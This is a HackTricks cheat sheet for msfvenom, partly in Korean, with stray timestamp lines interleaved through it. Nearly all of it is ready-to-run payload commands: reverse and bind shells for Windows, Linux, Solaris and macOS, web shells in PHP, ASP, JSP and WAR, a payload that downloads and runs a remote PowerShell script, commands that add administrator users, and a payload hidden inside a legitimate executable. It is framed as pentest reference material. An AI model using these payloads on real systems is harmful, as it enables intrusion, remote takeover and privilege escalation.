2023-03-05 19:54:13 +00:00
# MSFVenom - CheatSheet
2022-04-28 16:01:33 +00:00
2024-07-18 22:23:19 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 22:23:19 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 22:23:19 +00:00
< summary > Support HackTricks< / summary >
2023-12-30 20:49:23 +00:00
2024-07-18 22:23:19 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 22:23:19 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-05-05 22:46:17 +00:00
< figure > < img src = "../../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2024-07-18 22:23:19 +00:00
Join [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) server to communicate with experienced hackers and bug bounty hunters!
2023-02-27 09:28:45 +00:00
2024-07-18 22:23:19 +00:00
**Hacking Insights**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
2022-11-05 09:07:43 +00:00
2024-07-18 22:23:19 +00:00
**Real-Time Hack News**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
2023-07-14 14:20:34 +00:00
2024-07-18 22:23:19 +00:00
**Latest Announcements**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 최신 정보를 유지하세요.
2023-07-14 14:20:34 +00:00
2024-07-18 22:23:19 +00:00
**Join us on** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) and start collaborating with top hackers today!
2023-07-14 14:20:34 +00:00
2023-07-30 21:28:42 +00:00
***
2023-02-27 09:28:45 +00:00
2024-07-18 22:23:19 +00:00
## Basic msfvenom
2023-08-16 09:26:10 +00:00
2020-11-11 00:39:24 +00:00
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
One can also use the `-a` to specify the architecture or the `--platform`
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
## Listing
2020-07-15 15:43:14 +00:00
```bash
2022-11-10 09:24:36 +00:00
msfvenom -l payloads #Payloads
2020-07-15 15:43:14 +00:00
msfvenom -l encoders #Encoders
```
2024-07-18 22:23:19 +00:00
## 쉘코드를 생성할 때의 일반 매개변수
2020-07-15 15:43:14 +00:00
```bash
2024-02-10 21:30:13 +00:00
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
2020-07-15 15:43:14 +00:00
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
2024-07-18 22:23:19 +00:00
## **윈도우**
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
### **리버스 셸**
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
2024-07-18 22:23:19 +00:00
### 바인드 셸
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
2024-05-05 22:46:17 +00:00
{% endcode %}
2024-02-10 21:30:13 +00:00
### 사용자 생성
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
2020-11-09 22:18:10 +00:00
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
2020-07-15 15:43:14 +00:00
```
2024-07-18 22:23:19 +00:00
### CMD Shell
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
2024-07-18 22:23:19 +00:00
### **명령 실행**
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
2020-12-15 09:10:57 +00:00
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
2020-07-15 15:43:14 +00:00
```
2024-02-10 21:30:13 +00:00
### 인코더
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
2024-05-05 22:46:17 +00:00
{% endcode %}
2024-02-10 21:30:13 +00:00
### 실행 파일 내에 포함
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=< IP > LPORT=< PORT > -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
2024-07-18 22:23:19 +00:00
{% endcode %}
## 리눅스 페이로드
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
### 리버스 셸
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
2024-07-18 22:23:19 +00:00
### 바인드 셸
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
2023-03-05 19:54:13 +00:00
### SunOS (Solaris)
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
2024-07-18 22:23:19 +00:00
{% endcode %}
## **MAC 페이로드**
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
### **리버스 셸:**
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
2024-07-18 22:23:19 +00:00
{% endcode %}
2024-05-05 22:46:17 +00:00
### **바인드 셸**
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
2023-08-16 09:26:10 +00:00
{% endcode %}
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
## **웹 기반 페이로드**
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### **PHP**
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
#### 리버스 셸
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=< IP > LPORT=< PORT > -f raw > shell.php
2020-11-09 22:18:10 +00:00
cat shell.php | pbcopy && echo '< ?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
2020-07-15 15:43:14 +00:00
```
2024-07-18 22:23:19 +00:00
{% endcode %}
2023-03-05 19:54:13 +00:00
### ASP/x
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
#### 리버스 셸
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
```
2023-08-16 09:26:10 +00:00
{% endcode %}
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### JSP
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
#### 리버스 셸
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
2023-08-16 09:26:10 +00:00
{% endcode %}
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
### WAR
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
#### 리버스 셸
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
2024-05-05 22:46:17 +00:00
{% endcode %}
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### NodeJS
2020-07-15 15:43:14 +00:00
```bash
2022-05-27 15:32:15 +00:00
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
2020-07-15 15:43:14 +00:00
```
2024-07-18 22:23:19 +00:00
## **스크립트 언어 페이로드**
2020-07-15 15:43:14 +00:00
2024-07-18 22:23:19 +00:00
### **Perl**
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
2024-05-05 22:46:17 +00:00
{% endcode %}
2024-07-18 22:23:19 +00:00
### **파이썬**
2024-02-10 21:30:13 +00:00
2024-05-05 22:46:17 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
2024-07-18 22:23:19 +00:00
### **배쉬**
2020-07-15 15:43:14 +00:00
2023-08-16 09:26:10 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=< Local IP Address > LPORT=< Local Port > -f raw > shell.sh
```
2023-08-16 09:26:10 +00:00
{% endcode %}
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
< figure > < img src = "../../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 14:20:34 +00:00
2024-07-18 22:23:19 +00:00
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) 서버에 참여하세요!
2023-03-05 19:54:13 +00:00
2024-02-10 21:30:13 +00:00
**해킹 통찰력**\
2024-07-18 22:23:19 +00:00
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
2023-02-27 09:28:45 +00:00
2024-02-10 21:30:13 +00:00
**실시간 해킹 뉴스**\
2024-07-18 22:23:19 +00:00
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
2023-02-27 09:28:45 +00:00
2024-07-18 22:23:19 +00:00
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
2022-11-05 09:07:43 +00:00
2024-07-18 22:23:19 +00:00
오늘 [**Discord** ](https://discord.com/invite/N3FrSbmwdy )에 참여하여 최고의 해커들과 협업을 시작하세요!
2022-11-05 09:07:43 +00:00
2024-07-18 22:23:19 +00:00
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP 해킹 배우기 및 연습하기: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 22:23:19 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 22:23:19 +00:00
< summary > HackTricks 지원하기< / summary >
2023-12-30 20:49:23 +00:00
2024-07-18 22:23:19 +00:00
* [**구독 계획** ](https://github.com/sponsors/carlospolop ) 확인하기!
* **💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 22:23:19 +00:00
{% endhint %}